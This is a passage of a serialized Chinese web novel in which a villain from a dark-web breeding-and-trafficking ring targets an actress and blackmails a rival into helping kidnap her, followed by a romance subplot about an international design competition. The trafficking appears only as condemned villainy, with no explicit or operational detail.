这次温栩栩显然是来国外散心的,如果有什么不长眼的盯上温栩栩,他是绝对要护住温栩栩的,不为别的,只是不想许愿伤心难过。 唐文晞带温栩栩去的是M国一个当地人才知道的小镇。 这个小镇被葱郁的森林和连绵起伏的山丘所环绕,四季分明的景色让每一个角落都充满了独特的魅力。 尽管现在并非春天,但小镇的四周依然点缀着各种野花,它们像是大自然散落的宝石,在微风中轻轻摇曳。沿着蜿蜒的小径前行,可以闻到淡淡的花香混合着泥土的清新气息。偶尔还能看到几只松鼠在树间跳跃,或是听到鸟儿欢快的叽叽喳喳声音。 小镇中心有一个清澈见底的湖泊,湖水倒映着蓝天白云,仿佛一幅天然的画卷。 湖边散布着几张长椅,供游人休息观赏。当阳光洒落在湖面上,波光粼粼的画面美得令人屏息。温栩栩坐在湖边,闭上眼睛感受着轻柔的微风拂面,心中的阴霾似乎也随之消散了不少。 穿过一片绿意盎然的草坪,便来到了镇上的古街区。 这里的建筑大多保留了百年前的风格,红砖墙、尖顶屋以及色彩斑斓的窗户让人仿佛穿越到了另一个时空。漫步其间,温栩栩的心情变得轻松了许多。 除了自然美景外,小镇的人文风情同样迷人。街头巷尾不时传来悠扬的手风琴声,那是当地居民为游客表演的音乐。偶尔还能遇到一些手工艺人在街边展示他们的作品,从精美的木雕到色彩绚丽的手工织物,无不展现着这个地方的文化魅力。 温栩栩觉得自己此刻好像可以短暂的忘掉国内发生的事情了。 而温栩栩也从最初称呼唐文晞唐先生变成了称呼“哥哥”,还是唐文晞让她改的称呼,对他来说温栩栩是许愿的家人那就跟他的妹妹没什么区别。 再次停下为温栩栩拍照时唐文晞看到了一间小酒馆里的男人。 对方的目光一直落在他们两人身上,对方的身量高大,面容却极为普通,不像是真实相貌,而那双眼睛带着说出的深意与阴狠,只对上一眼唐文晞便觉得浑身发冷,让他想到了毒蛇。 对方很轻的扬了下唇,像是笑了,然后对着他举起酒杯,笑意都带着意味深长。 温栩栩已经走过来站在唐文晞身边:“哥哥,是你的朋友吗。” 唐文晞摇头,让保镖继续陪着温栩栩转,而自己一步一步走近对方,漆黑的瞳眸落在对方身上不曾移开。 对方的笑意毫不收敛。 “你很像我的一位故人。” 唐文晞面无表情的看着他。 对方将杯中的酒一饮而尽然后轻啧一声:“可惜了,不是紫色的眼睛呢。” 唐文晞的脸色骤然变冷。 紫色的眼睛代表什么?代表当年暗网中被人设计孕育的“天使”。 这人……是漏网之鱼吗。 唐文晞忍不住握拳,再度想到当年的事。 他的父母被那群人当做玩具一次又一次的为她们诞下“天使”然后被那群疯子卖给上流圈层的人,他的兄弟姐妹死的死伤的伤到最后活下来的也只有他们兄妹三人。 其他人都被虐待致死。 而他的父母为他求了一条生路带着他离开那个魔窟,可最终他们还是为了所向往的自由自己点燃了房屋死在了那场大火中。 她们为了不再被抓回去当做玩物选择了自由的死亡。 当年他被那些疯子抓住,险些就要被拍卖,若非是苏青莲,他根本没有现在的人生,只会沦为牲畜或者早就死在那群人的手中。 可现在这人竟然敢当着他的面提起紫色的眼睛,竟然真的敢。 不,他们不止是敢,甚至是盯上了温栩栩。 那些势力竟然没有被全部铲除。 是啊,那种势力怎么会被轻易铲除呢,这世界上只要有人存活就会有贪欲有色欲,只要有人就永远不会将那些脏污断干净,旧的暗网被覆灭就会有新的势力建立新的暗网。 她们要美色要权势要钱财,她们要倚靠着这一切重新出山。 而温栩栩……或许就是他们物色的新一代天使母体,就像当初他的母亲那样。 唐文晞的眸色愈发阴暗深沉,他死死盯着面前的人,对方却迎上他的目光笑了。 “你听说过天使吗。” 竟然还敢提! 唐文晞眸光阴翳,对方拊掌笑了。 “我们丢了三个天使,紫色眼睛的……天使,我们迟早会将他们找回来,然后孕育更多的天使。” 他目露贪婪之色。 “没有人会不爱天使,那些说不爱的只是没有那些钱接触天使。” “唐先生呢?唐先生会喜欢天使吗。” 对方的话一句一句往唐文晞心口戳去,像是试探又像是想拉他入深渊。 “这世上没有天使。”唐文晞拽住他的衣领,眼底都是狠意:“人造的天使本就不该存在。” “多可笑。” 对方拍手鼓掌。 “只要有人的存在就永远会有天使的存在,因为人的欲望是无穷尽的,这么多年一直如此,无论是华国还是M国,所有的地区都是一样的。” 这话唐文晞无法反驳。 因为却如他所说,他也清楚,只要有人存在,那就会有“天使”的存在。 国内最典型的代表不就是古时的“扬州瘦马”?被专门调教出讨好上层的玩物,哪怕到了现在还是会有这类人,像那些小家族的一些女儿养出来最大的作用就是为了笼络关系联姻,又何尝不是那些大家族的玩物。 唐文晞放开面前的人,眸光中的冷意未曾削减。 这时保镖已经带着温栩栩回来了,保镖怀里抱了几个娃娃,温栩栩只捧着几朵花。 她行走在人群中,整个人像是在发光,一眼就能看到她精致漂亮却又美艳动人的面容。 “多漂亮啊。” 对方贪婪的目光一直在温栩栩身上流连。 如果有她,他们可以造出更多的天使,紫眼睛的,绿眼睛的…… 第673章 她要查紫眼睛 “你这双眼睛不想要了吗。”唐文晞再度拽住对方的衣领,眼底都是狠辣之意,仿佛他说出一个字都会在此刻剜了他的眼睛。 “我在看我的天使,所有人都在看她,唐先生何必如此专制。” 对方笑呵呵的站起身,已经先他一步走近温栩栩。 他的笑容带着几分说不出的古怪,温栩栩只是对上他的眼睛就觉得浑身不舒服。 可对方已经取出了名片递过去。 “温小姐,久仰,我是SY娱乐的总经理埃尔斯,如果有意向来M国发展可以随时联系我,您这样的美人应该面向全球而不是只屈居在华国。” 他说这些话时眼睛还在直勾勾的盯着温栩栩。 像是在打量一件货物是不是值得这个价位,眼睛时不时的瞟向她的胸脯和细腰,然后满意的眯起眼睛。 温栩栩敏锐的后退一步,保镖适时的拦住埃尔斯。 “哦,真可惜,看来您拒绝了我的邀请。” 埃尔斯摆了摆肩,看似毫不在意似的开口:“不过……就算您现在拒绝也没关系,我们迟早有合作的那一天,我的天使小姐。” 这话才出口,唐文晞已经拽住他的后衣领将人狠狠地丢到地上,厉声:“滚!” 埃尔斯“哈哈哈”的大笑几声,眼睛却还是在直勾勾的盯着温栩栩,全然不顾唐文晞的冷脸。 唐文晞眼神愈发冷了。 他早知道那群人就是疯子,眼前这人果然够疯,他根本没有将温栩栩当做人,只将她当做玩具物品,那根本不是看人的眼神! 唐文晞抬眸看向不远处的一众保镖,保镖们将埃尔斯架走。 直到埃尔斯被带的远了还能听到埃尔斯大喊大叫喊着:“天使!我的天使!我一定会拥有你的我的天使!我们的希望!” 他像个疯子大喊大叫,直至保镖堵住他的嘴才终于没了声音。 温栩栩有些慌乱又有些茫然,温栩栩不知道那人为什么一直用天使称呼自己,她从那人身上感受不到任何的善意,只有源源不断的贪欲和恶意。 那是个疯子。 唐文晞却知道埃尔斯为什么喊出那句话。 温栩栩被看做天使,是因为她足够美,她已经被盯上了,被那群疯子看作是“天使母体”。 他们说的一定会拥有天使,代表他们已经策划好一切,不惜一切代价都要得到温栩栩将它带到暗网。 而他口中提到温栩栩是他们的希望,当然因为在他们眼中有了温栩栩,温栩栩才能为他们一直孕育价值天价的“天使”。 唐文晞身体都在颤抖,他将掉落到地上的名片捡起来撕碎。 “温栩栩,你不该来M国。” 温栩栩愣住,直觉告诉她唐文晞说出这话或许是跟那个疯子有关。 “为什么。”她问。 “别问,你只需要知道你现在需要回国就对了。”唐文晞握住她的手臂:“现在就回国,回到华国,你身边有阿愿,那群疯子应该还有点理智不会真的冲到华国对你做什么。” 什么意思? “她们想对我做什么?” 温栩栩不明白。 “你不需要知道这些,你要做的就是尽快回国,我会亲自带你回去。” 唐文晞不希望温栩栩知道当年有关于暗网的黑暗,一旦知道那些,有些人会崩溃会无法接受,更不要说现在温栩栩被看做了“天使母体”。 他需要将温栩栩送回华国送到A市再着人调查这一切然后对付那些疯子。 温栩栩想问清楚,但抬头就对上唐文晞……等等,紫色的眼睛…… 温栩栩震惊:“你的眼睛……” 唐文晞整个人僵住,他重新带上墨镜遮住自己的眼睛。 应该是隐形眼镜滑片了,他遮住自己的眼睛握住温栩栩的手:“现在跟我走,我会亲自送你回国内,回国后也要小心,去任何地方都要带着保镖,不要轻易相信任何人的话。” 字字句句都带着担忧。 温栩栩没有问原因,就这么被他握着手腕离开。 直至被唐文晞送回国内,温栩栩身边已经有了许愿安排的保镖和经纪人。 也不知唐文晞对许愿说了什么,让许愿也很紧张。 温栩栩一个人躲在公寓里面,脑海中不停闪过自己见到的唐文晞紫色的眼睛。 最初看到唐文晞她就觉得唐文晞不该是黑色的眼睛,他的眼睛应该更漂亮才对。 果然,唐文晞的眼睛是紫色的,那样漂亮的紫罗兰颜色,唐文晞为什么要戴上隐形眼镜遮住颜色。 那双眼睛,怎么了?有什么不妥吗? 温栩栩没有控制住自己的好奇心,在浏览器搜索了紫色眼睛,但没有搜到什么信息,有的只是在夸紫眼睛有多漂亮。 什么都没有,那为什么唐文晞要戴隐形眼镜,像是对那双紫眼睛有着恐惧一样。 温栩栩忘不了唐文晞当时的慌张,她顿了许久联系了自己熟知的私家侦探去调查有关紫眼睛的事,对方在听到她要调查紫眼睛时整个人都明显愣了。 “你确定要查紫眼睛?” “我不能查吗?” 面对温栩栩的反问,对方沉默片刻。 “可以查,就是你看完后可能会害怕,或者说……做噩梦。” 面对这话温栩栩全然不信。 “钱我会打给你,尽快将资料发来。” 对方叹了口气,收到钱很快就将资料发到她的邮箱。 温栩栩收到资料沉下心开始翻阅这份资料。 但只是看到第一页提到的暗网和天使就愣住。 这份资料好像给她打开了一片新天地,告诉她什么是暗网,什么是“天使”,什么是人的贪欲,什么是恶魔,什么是……彻头彻尾毫无人性的疯子。 曾经的M国是有暗网的,那所谓的暗网被黑白灰几道都建立了防护网。 只因这些群体中都有暗网的拥护者。 人活着就会有各种欲望,有人爱钱暗网就给他们钱,有人爱权,暗网就利用人脉圈将他们笼络进来步步高升从而继续维护暗网,有人爱美色,那暗网最不缺的就是美色,她们有从世界各地抢来的买来的拐带来的美人,不分男女。 第674章 美色也代表灾难 暗网中最美的是一名叫“安琪拉”的女人,她是一名混血女性,有一双漂亮的紫罗兰色的眼睛,她的容貌更是世间罕见,任谁看到她都会将她看做完美的天使,她是很多人心中的美神,亦是暗网最高价的“天使”。 最美的男性则是一名华国男人,暗网的人眼看着安琪拉被摧残担心以后得暗网没有其他人继承她天使的位子,所以将这两人当做配种的工具。 这样完美的两人,她们结合诞生的子嗣必定也是“天使”。 就像他们所想的那样,她们诞生的孩子都是紫色眼睛的漂亮天使,她们在幼年就被人拍回家,死的死伤的伤,甚至有人为了留住幼年时期的“天使”狠毒到将人制成标本。 当然最终结局以两个配种者逃离死在大火中为结局,暗网也被人连根拔起。 可那根真的被拔了吗? 这世界上只要有人活着就会有恶魔就会有贪欲。 现在温栩栩终于明白了紫色眼睛代表什么。 紫色眼睛代表什么。 代表天使。 天使代表什么。 代表无上的美色。 无上的美色代表什么? 代表灾难。 温栩栩看到后面浑身发冷。 忆起唐文晞那张漂亮到无可挑剔的面容,再加上那双紫色的眼睛…… 他是那场灾难中幸存下来的“天使”。 温栩栩也终于明白埃尔斯对自己大喊{天使!我的天使!我一定会拥有你的我的天使!我们的希望!}时唐文晞为什么会那样愤怒。 他想到了从前。 温栩栩却觉得身体更冷了。 埃尔斯没把她当人看,说什么天使,不过是将她看做配种的工具,所以才会称她是希望。 疯子。 那是疯子! 温栩栩握紧拳,死死的盯着资料,身体颤的愈发厉害。 唐文晞让她尽快离开M国就是担心会出事,那群疯子不配活着。 她不忍将这些事告诉温栩栩,但是现在再出门身边是一定要跟着保镖,甚至还专门聘请了女保镖,去洗手间也会带着保镖,就是为了放置那群疯子做出疯事来。 …… M国。 埃尔斯卸掉脸上的伪装,露出一张面目全非的面容,他的脸说是人脸不如说像怪物,坑坑洼洼,鼻子像是被烧融了,丑陋可怕。 他对着镜子看到自己这张怪物一样的脸,眼底闪过的都是阴冷的光。 他是那场爆炸案中的幸存者,那么多的人都困死在那座岛上,只有他命大逃了出来。 他一直都在查一直都在找当年迫害他们的罪魁祸首。 终于让他找到了,那人便是华国的“苏青莲”。 哈,他现在还没有那么大的势力跟苏青莲硬碰硬,他本来将目光落在他的女儿身上,她的女儿多美啊,只可惜许愿现在的身份地位不是轻易能碰的,更不要说许愿身边跟着的是华国的上将。 他需要一个美人作为天使母体,但不代表会蠢到跟华国直接对上。 现在还不干动许愿,可他又知道了一个美人。 温栩栩,那人的身份多有意思,许愿自小一起长大的姐妹,那得到温栩栩就一定能伤害许愿,那不就是间接伤害了苏青莲? 埃尔斯的目光转向墙上的海报上,房间内的电视屏幕也在放华国的《云雀》,他在看林青黛。 多美。 她一定能创造出很多的天使。 等到有了天使,他就可以笼络更多的人,他会重新组建自己的暗网然后一步步复仇。 埃尔斯眼神狂热的走近屏幕,眼底都带着明显的贪欲,他俯身亲吻着屏幕上的温栩栩。 “我的天使,我一定会得到你。” 房门被敲响,埃尔斯眼神阴冷:“进。” 手下进来,看到埃尔斯此刻那张怪物一样的脸很明显的抖了下。 埃尔斯眼神更加阴鸷。 “你在害怕我?” “没……没有!”手下立刻摇头。 “撒谎,你就是在害怕我。”埃尔斯:“你觉得我像个丑陋的怪物是吗?你的眼里写满了这句话。” 埃尔斯嗤笑一声:“既然你这么怕我,那不如也毁掉你的脸,让你变得跟我一样丑,这样你就不会害怕我了,怎么样?” 手下眼底都是恐惧之色,埃尔斯看也不看挥挥手,立刻有人将手下拖下去,远远的还能听到手下求饶的惨叫声。 埃尔斯面无表情好像什么都没听到。 几分钟后埃尔斯的助理走进来,将一叠资料递交上来。 “先生,这是我查到的有关于许愿国内外的仇敌,国外最明显的就属莱蒂斯先生,莱蒂斯先生在许愿身上吃了不少亏,对许愿恨之入骨,我们可以跟莱蒂斯先生联络一同对付许愿。” “华国的与许愿是仇敌的那最明显的就是傅家的傅长海,傅长海不仅恨苏青莲还恨许愿,需不需要我跟傅长海对接?” “傅长海现在就在M国,如果先生您想要见傅长海,我现在就把人请来。” 埃尔斯没有说话就是默认。 助理立刻颔首退出去召集人手去请“傅长海”。 傅长海来国外是为了治腿,人还在医院的时候就被“请”到了一座庄园。 埃尔斯重新上妆,做足了姿态并让人泡上一壶红茶。 “傅先生,久仰大名。” 事实上埃尔斯并没怎么听说过傅长海,若不是傅长海跟许愿有仇他并不会浪费这个时间来见傅长海。 傅长海坐在轮椅上看着面前容貌稀松平常的男人,不明白他将自己带来的用意。 “我不记得我认识你。” 埃尔斯笑了笑:“现在见过不就认识了?自我介绍下,我叫埃尔斯,是来帮你一起报复许愿的。” 傅长海眼神闪了闪,并未回话。 埃尔斯逐步走近,嗓音低哑的带着几分蛊惑。 “我知道傅长海先生非常讨厌许愿,我也知道傅长海先生想要对付她需要一定的资金,刚好我不缺钱,我们可以合作一起对付许愿。” “傅长海先生觉得怎么样呢?” 傅长海目光平静:“理由。” 他问的是找上自己合作的理由。 埃尔斯笑了。 他表情冷了一瞬:“因为我和傅长海先生一样都将苏青莲视作仇敌啊,你们华国不是又一句古话说敌人的敌人就是朋友吗?” “我们都将苏青莲看做仇敌,那我们不就是能一起合作的朋友吗。” 第675章 威胁 傅长海看着面前甚至有些癫狂的人眸光沉了几分。 “我想我们并不算了解,我也不能将一切都押到你身上。” 傅长海能信任的人不算多,就连傅守越他都不能说全然信任,更不要说突然“请”他过来的陌生人。 张口就是要跟他一起报复苏青莲,真当他是牵着鼻子走的蠢货了? “或许傅长海先生听说过暗网。” 埃尔斯毫不避讳的当着傅长海的面开口提到暗网。 M国当年暗网被连根拔起后才彻底的被公之于众,做过的恶事也为人暗道,傅长海怎么可能不知道。 傅长海目光重新落到埃尔斯身上,仔细打量对方,隐隐的对埃尔斯的身份有了猜测。 暗网被连根拔除这件事闹的太厉害,且那狠辣的手段和作风太像当年苏青莲对付华国各大家族的手段,暗中调查一击毙命,甚至于在华国也只是让那群人付出应有的代价直接伏法。 但在M国却是一场大火了结一切。 仿佛对方根本不信当时M国的法律一般。 太像苏青莲能做出的事了。 如果当年暗网是被苏青莲拔出的,那面前的人就是当初那批恶魔之一,他对苏青莲想必是恨之入骨。 傅长海自认自己不是个好东西,他承认自己自私贪婪违法犯罪的事情做过不少,但还没有狠到买卖人口拐卖人口将人当做供体玩具的地步。 可面前的人曾经掌握过的暗网一度将人视作交易的物品。 他们会在暗中蛰伏,为那些病重的有钱人物色器官供体,会为那些有各种癖好的有钱人提供玩乐场所乃至“玩具”。 在这里,人不再是人。 他虽然恨苏青莲和许愿,但还做不到这种丧心病狂的事,他再疯也会给人哥痛快,而不是像这样软刀子的折磨着人让人生不如死沦落到深渊彻彻底底成为玩物。 “我想我们并不是一路人。” 傅长海拒绝了埃尔斯。 他是坏,但没坏到要跟恶魔合作去对付许愿和苏青莲的地步。 傅长海控制着轮椅就要离开,他并不想继续跟埃尔斯交流。 埃尔斯只是看着他笑,他没有阻拦更没有说更多,只是在傅长海的轮椅转到门口即将离开时埃尔斯才终于再度开口了。 埃尔斯抚弄着瓶中开着正盛的花朵,声音含笑却带着无尽的压迫感。 “听说傅先生有一位十分爱重的女儿。” “您的女儿天真且漂亮,是难得一见的美人。” “让人只是看一眼都会想到可爱的天使呢……叫什么来着?哦对,她叫傅嘉誉对吗?” 埃尔斯一字一句的带着轻缓的笑意,好像真的像是跟傅长海是朋友一般讨论着老友的女儿。 可傅长海知道埃尔斯并不友好。 他在威胁,在用傅嘉誉威胁他低头。 他既然知道暗网,又怎么会不知道被暗网盯上的女性会落得什么下场? 傅长海就是知道那些所以才不屑跟埃尔斯合作,可偏偏埃尔斯在“请”他来之前就已经将他完全的调查干净了! 埃尔斯知道他有个最在乎最疼宠的女儿傅嘉誉。 他自己可以不要这条命,本来他也就只在意他的女儿,可他不敢保证自己的女儿被这样阴沟中的虫蛇盯上是不是能躲过。 他不敢去赌。 这一刻,傅长海甚至又开始暗恨苏青莲没用。 既然要处理暗网为什么还要留下这些疯子的活口。 傅长海转身,目光中充斥着血色。 “埃尔斯先生,你要合作当然可以合作,但请你记住,如果你敢伤害我的女儿,我会倾尽一切跟你同归于尽。” 埃尔斯又笑了,他不觉得这是什么威胁,甚至完全不在意。 “答应了我的合作我们就是朋友了,我怎么会伤害朋友的女儿呢。” 傅长海一言不发,面色沉沉的看着眼前虚伪的外国人。 “需要我做什么直说就可以。” 埃尔斯倒了杯红酒,他摇晃着酒杯将杯中的酒液一饮而尽,然后笑道:“你知道的,我的势力都在M国,华国现在可是有铜墙铁壁,当年因为一个苏青莲让本该彻底杯踩在脚下的华国多了挣扎的时间现在倒是成了泱泱大国,就是我也不好直接安插什么人进去。” “所以……还请傅长海先生帮我将温栩栩带到M国,只要将她抓到M国,以后傅先生不想继续合作自然也是可以的。” 说这么多,不过是埃尔斯不想让自己的手下去华国,却又像得到温栩栩所以利用傅长海的势力。 这话说白了就是告诉傅长海我知道你没有合作的打算,我也没想跟你合作,只要抓到温栩栩送到M国来我自然不会盯着你的女儿。 这么明显的画外音傅长海怎么可能听不出来。 温栩栩。 许愿的好友。 傅长海眼神暗了一暗。 他当然知道温栩栩现在在国内的热度有多高,甚至于自己的女儿都是温栩栩的粉丝,可偏偏温栩栩的美貌为她自己惹了祸端。 他不想做什么太过没有下限的事情,但已经没有办法了,他不能用自己的女儿去赌。 “好,我会处理。” 见傅长海答应了,埃尔斯脸上的笑意愈深,命人送走了傅长海。 手下见傅长海离开不由开口:“先生,傅长海可信吗。” 埃尔斯又拿出一个酒杯倒了杯酒递给跟在身边的手下,脸上的笑意也已经消失殆尽,只余冰冷。 “华国人,有什么可信的。” 他脸上都是对华国人的轻蔑。 “她们最大的价值也不过是能成为我的棋子被我利用孕育出一代又一代的天使罢了。” 埃尔斯冷笑:“傅长海的资料我自然都调查清楚了,他不是什么好东西,不过一个烂到根的蠢货,最在乎的就是他那冒失愚蠢的女儿。” “只要给他一点我们可能会动他女儿的想法,他立刻就会低头后退。” 埃尔斯嗤笑一声:“他也不想想,天使母体是随便一个人都能当的吗,他的女儿还不够格。” 话落,埃尔斯的目光再度落到屏幕上,有些痴迷的望着屏幕中的温栩栩。 第676章 你是河豚吗 埃尔斯看着屏幕上温栩栩的面容,缓缓开口:“温栩栩这样的才够格。” …… 对于埃尔斯的心思傅长海一概不知,回国后立刻去见了还在工作的傅守越,让他安排保镖全天二十四小时的跟在傅嘉誉身边以防傅嘉誉发生意外。 傅守越心有疑虑,但也知道傅长海不会害她,便真的安排了人。 傅嘉誉知道这事还闹了脾气,她就不喜欢有小尾巴跟着自己,傅守越倒好,安排了十几个。 现在她出门逛街别人看到都要远远避开,好像她带了病毒似的。 不爽。 傅嘉誉气哼哼的到傅守越的公司,公司保安和前台也不敢拦,她们可是知道这位是傅总最宝贝的未婚妻,哪敢招惹啊。 傅嘉誉一路雄赳赳气昂昂的进了电梯一路直奔傅守越的办公室。 自从跟傅嘉誉说开后,傅嘉誉明确表明自己没有继承傅氏的意愿,傅守越便没打算去傅氏,他早就建立了自己的公司,并不想掺进傅家为了家产去争去抢。 傅嘉誉推门进去,气鼓鼓的。 从她进了公司傅守越就已经收到员工的提醒了,自然也知道傅嘉誉带着气上来的。 稍微想一想就知道是因为那些保镖。 傅守越抬手捏了捏太阳穴,一抬头就对上傅嘉誉气呼呼的模样不由失笑。 “嘉誉,你好像每天都在生气,你是河豚吗。” 傅守越放下手中没看完的文件站起身行至傅嘉誉身旁,傅嘉誉被他带着坐到沙发上。 傅守越的办公室里堆满了傅嘉誉的东西,傅嘉誉喜欢的玩偶,傅嘉誉落在这里的钻石发夹,发绳,甚至还有专门为傅嘉誉安装的零食墙,真的是一整面墙上放的全都是各式各样的零食,全都是为傅嘉誉选的。 不过傅守越一般也只许她每天吃一两包,一把最后都吃不完交给助理安排处理。 傅嘉誉才没来多久助理已经敲了办公室的门送上来一叠才买回来的蛋糕和七分糖的香草拿铁。 傅嘉誉用叉子戳着蛋糕,愤愤道:“就不能不让那些人跟着我吗,我今天去大学城逛了逛,只是想吃点路边摊哎,结果有些看了什么短剧的指着我就说我是不是那种在逃的黑道千金,指着我说的,还说什么带球跑才被人盯着……我真是……” 傅嘉誉揉搓了把自己的脸:“我怎么看都不像混黑的吧。” 因为这种奇奇怪怪的理由? 傅守越不由失笑,伸出手揉了揉她的耳朵。 “因为这件事生气?” 听到傅守越问,傅嘉誉又哼了一声,有些无奈又有点烦躁:“就不能不让他们跟着我吗,有点烦。” “最近有点乱,你没注意到许愿身边一直都跟着特警队的人?许愿都知道保护好自己,怎么你就总是这么大大咧咧?” 傅守越这么说傅嘉誉不服。 “我跟许愿才不一样,许愿身边一直有人守着是因为她研究出的东西遭人忌惮。” “那你怎么就知道有些人不会拿你来威胁我和父亲,嘉誉,你知道你对我和父亲有多重要的不是吗?” 傅嘉誉不吱声了,她显然也知道傅守越说的是对的。 “那你让他们离我远一点也可以。”她到底是退让了,也是担心发生什么事。 傅嘉誉一直都是这个性子,看着风风火火又骄纵,其实却很听话乖巧,甚至带着点可爱。 傅守越揉了揉她的发梢,片刻后开口:“马上就是第十届奥莱斯特设计比赛,要不要去现场?” 听到这个傅嘉誉来了兴致。 “要去!” “好,我陪你。” 傅嘉誉又被哄开心了,之前的那点不快也烟消云散了。 奥特斯特设计比赛的知名度很高,且吸引了来自世界各地的优秀设计师参与竞争,参赛者不仅有机会展示自己的作品给全球观众,还有机会得到行业内顶尖专业人士的认可。获得此比赛奖项意味着设计才华得到了国际范围内的肯定。 所以此次参加比赛的人很多,在初赛复赛已经淘汰了太多人。 这次是第十届奥特斯特设计赛,以往都定在海外,这次却选在了华国A市。 奥特斯特设计赛会邀请行业内著名的设计师、品牌创意总监、时尚杂志编辑等组成评审团。 获胜者除了能得到丰厚的奖金外,还可能获得与知名品牌合作的机会、在重要时装周上展示自己作品的平台以及接受专业培训或指导等资源。这些都是非常宝贵的职业发展机遇,对于设计师来说是难得的成长和曝光机会。 由于其在业内的地位,奥特斯特设计比赛总是受到众多媒体的关注。 无论是传统媒体还是新媒体平台都会对该赛事进行报道,这意味着参赛者及其作品有机会获得大量的曝光率,这对于提升个人品牌的知名度极为有利。 傅氏旗下的设计公司就曾与极为奥特斯特冠军得主的设计师有过合作,所以傅嘉誉对此还是很关注的。 “说起来,我记得陆斯年的妹妹陆杳杳是知名设计师汤姆斯的学生,这次据说陆杳杳参加了。” 傅嘉誉可太知道陆杳杳了。 在海外设计学院内陆杳杳就被教授称为最有灵气的设计师,加之陆杳杳的哥哥是盛华的总裁,所以没有什么人敢对陆杳杳有什么心思。 但也偏偏因为陆杳杳的哥哥是陆斯年,所以很多人认为那些对陆杳杳的赞扬都是虚的,陆杳杳并没有多少实力,那些人只是看在陆斯年的面子上恭维几句。 所以陆杳杳为了证明她自己的实力才决定参加此次奥特斯特比赛。 傅嘉誉明显也是想去看热闹的。 …… 华国A市国际机场,一个身姿高挑曼妙的身影拂过每一位过往行人的视线。 她戴着一副精致的细边框眼镜,镜片后是一双明亮而深邃的眼睛。 她的皮肤白皙如雪,透着健康的红晕,与那头乌黑亮丽的长发形成了鲜明对比。 尽管脸上还残留着几分稚嫩的气息,但举手投足间流露出的知性美却让人无法忽视她的存在。 第677章 设计界的皇族 奥特斯特设计比赛马上要在S市举办,现今已经有海外的一些小有名气的设计师以及各方位的大拿在这个时候来到A市。 所以机场内时尚杂志记者早已准备好一切。 机场大厅里,闪光灯不断闪烁,记者们争先恐后地想要捕捉这位年轻设计师的一颦一笑。 “你知道这拍的谁吗?我看着不像设计师,像女明星啊。” 一个新入行的记者嘀咕着问身旁的同行。 “陆杳杳你都不知道?不知道陆杳杳总知道陆斯年吧,就算不知道陆斯年那总该知道盛华吧,陆杳杳是盛华总裁陆斯年的亲妹妹,更在海外的几次设计比赛中拿到过金奖,这次来参加奥特斯特的设计比赛也是因为比赛含金量更高,因为她的身份很多人都猜测她没有多少实力,为了这个陆杳杳才来参加的比赛。” 新入行的记者懂了。 “这就等于是设计界的皇族?” “差不多吧,也不知道这陆杳杳是不是真有实力啊。” “都皇族了还说什么实力不实力的,就算没有实力那些人也一样会捧着的,也不看陆杳杳背后的人是谁。” 记者们边拍边议论着,显然是不相信陆杳杳真的有什么实力。 这也是陆杳杳一定要参加这次设计比赛的原因。 热搜词条头条是此次奥特斯特设计赛,各路设计师也已经登上热搜,记者们拍了一些有名气的设计师不仅发了视频还发了图文解释,这次赛事不是普通赛事海外都在盯着,三年前那一届国内的设计师就没能拿到好名次,此次参加此次设计比赛的国内设计师无形中都有了压力。 而陆杳杳的回归有一部分人很看好,有一部分人却认为陆杳杳是皇族,都等着陆杳杳出丑。 【陆杳杳的老师是汤姆斯,汤姆斯的身份谁不知道?多少次都坐在评委席的,而陆杳杳的身份呢?盛华总裁陆斯年的亲妹妹,这还比什么?盛华在国内乃至海外都享有盛名,谁不给盛华面子?这次金奖板上钉钉的就只会是陆杳杳了。】 【皇族就不该参加比赛,这不是压榨那些没有后台的参赛者吗。】 【谁不知道陆杳杳在海外参加比赛的时候那些评委都对她多爱重,明显是跟汤姆斯有很大关联,这次国内的奥特斯特赛事的评委汤姆斯为了避嫌没有应邀,而应邀前来的却有两位跟汤姆斯风格完全相左,跟汤姆斯一样享有盛名的设计师薇薇安,薇薇安跟汤姆斯不仅没有龌龊甚至就跟有仇一样,不止一次在网络上发表看不上汤姆斯设计作品的言论。陆杳杳如果能在这次的赛事上再拿了奖那才算是有真材实料,薇薇安可不会管她是不是汤姆斯的学生。】 【不,薇薇安会很“看重”她,挑刺的那种看重。】 一群认为陆杳杳是皇族的人在网络上不停嘲讽,支持陆杳杳的人根本懒得理这些人,只等着微微安打这群人的脸。 陆杳杳对此一无所知,或者说猜到了但是不在乎。 倒是来到A市的E国设计师克里斯蒂娜第一时间翻看了网络上有关陆杳杳的言论冷笑连连。 克里斯蒂娜是E国有名的千金,不仅父母都是政界高层,自身也极为优秀,偏偏遇到一个陆杳杳,处处被陆杳杳压一头,甚至于陆杳杳越过她成为了汤姆斯的学生,而她却只能退而其次的选择了其它老师。 不仅如此,她爱着的男人也只在乎陆杳杳。 苏衡是E国万众瞩目的存在。 谁都知道苏衡,明明是华国人,却也是E国幕后的佼佼者,他就像是天上最璀璨的一颗星子,让所有的未婚女人都爱慕,哪怕是那些贵族后裔和贵族小姐也对他心生爱意。 可突然传出了一个听来可笑的传闻。 有人竟然说苏衡爱慕陆杳杳,最初没有人相信,可偏偏苏衡数次送陆杳杳回学校,带她一起采风写真,不能让人不信了。 那些自诩身份尊贵无比的贵族小姐也把“陆杳杳”恨到了骨子里。 在她们这些千金眼中,盛华再厉害又如何?陆杳杳只是一个纯种华国人,完全配不上苏衡又凭什么妄想成为苏衡的妻子?苏衡不该跟最尊贵的人在一起? 那些小姐咬牙切齿,而其中最为气恼的就是到处追着苏衡跑的“克里斯蒂娜”。 蒂娜任性刁蛮,也只有苏衡能治得了她的小性子。 可这会儿又可笑的人说苏衡喜欢陆杳杳,蒂娜不敢相信也不会去相信。 即使不去相信,那些流言蜚语还是会传到耳朵里,苏衡甚至在晚宴上也曾开口称自己是陆杳杳的追求者。 蒂娜当时就不堪忍受的离开了宴会现场。 可蒂娜是个有脑子的人,她不会在E国时招惹陆杳杳,这次设计比赛,苏衡总不能为了陆杳杳抛下工作来A市,她就等着去见陆杳杳。 她就是要让陆杳杳知道她们之间的差距。 不论是容貌还是家室,她都会碾压她! …… 陆杳杳回国第一件事就是倒头就睡,还在倒时差呢,许愿和陆斯年约她她也只是接了个电话继续睡,懒洋洋的,不过也因为他们的电话清醒了。 而此刻蒂娜已经到了陆杳杳的别墅,陆杳杳的保镖是认识蒂娜的,蒂娜见到保镖就面露不善,“陆杳杳在哪里。” “蒂娜小姐,陆小姐在房间。” “哪个房间,快带我去。” 